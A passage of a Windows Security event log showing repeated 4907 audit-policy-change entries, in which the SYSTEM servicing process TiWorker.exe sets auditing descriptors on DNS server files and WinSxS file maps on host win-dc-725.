C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247091 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\dnsetw.mof - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247090 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\DNSmgr.dll.mui - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247089 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dnsmgmt.msc - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247088 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dnscmd.exe.mui - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247087 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\dns.exe.mui - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247086 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dns\samples\PLACE.DNS - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247085 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dns\samples\CACHE.DNS - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247084 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dns\samples\BOOT - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247083 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dns\samples\192.DNS - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247082 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dnsperf.dll - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247081 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dnsmgr.dll - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247080 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dnsmgmt.msc - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247079 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dnscmd.exe - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247078 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dns.exe - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247077 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\INF\DNS\0409\dnsperf.ini - Handle ID: 0x7b8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247076 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\INF\DNS\0000\dnsperf.ini - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247075 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\INF\DNS\dnsperf.h - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247074 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\ProgramData\Microsoft\Event Viewer\Views\ServerRoles\DnsServer.Events.xml - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247073 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_event_viewer_views_serverroles_36b1368cd034c4a0.cdf-ms - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247072 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_programs_administrative_tools_50eba26877c48094.cdf-ms - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247071 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_programs_d672ba09d81e87ff.cdf-ms - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247070 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_start_menu_fde55420546edfe6.cdf-ms - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247069 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_windows_cae2264614449191.cdf-ms - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247068 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata_microsoft_fe5c6d762edd2110.cdf-ms - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247067 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\programdata.cdf-ms - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247066 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_inf_dns_0000_a9f422c913ee6b04.cdf-ms - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247065 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_inf_dns_0409_a9f42a7313ee5f4f.cdf-ms - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247064 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_inf_dns_b45bd646559d7e38.cdf-ms - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247063 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_inf_3f581daba4c8c835.cdf-ms - Handle ID: 0x7bc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247062 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_dns_samples_12e6b2bbbaf4ad18.cdf-ms - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247061 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_en-us_429cd25484dc6f94.cdf-ms - Handle ID: 0x7c0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247060 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_wbem_en-us_4555b1beb1c13883.cdf-ms - Handle ID: 0x7c4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247059 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\WinSxS\FileMaps\$$_system32_wbem_06656d9fdf2f8577.cdf-ms - Handle ID: 0x7c8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;0x1f0116;;;WD) -03/11/2021 11:41:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information 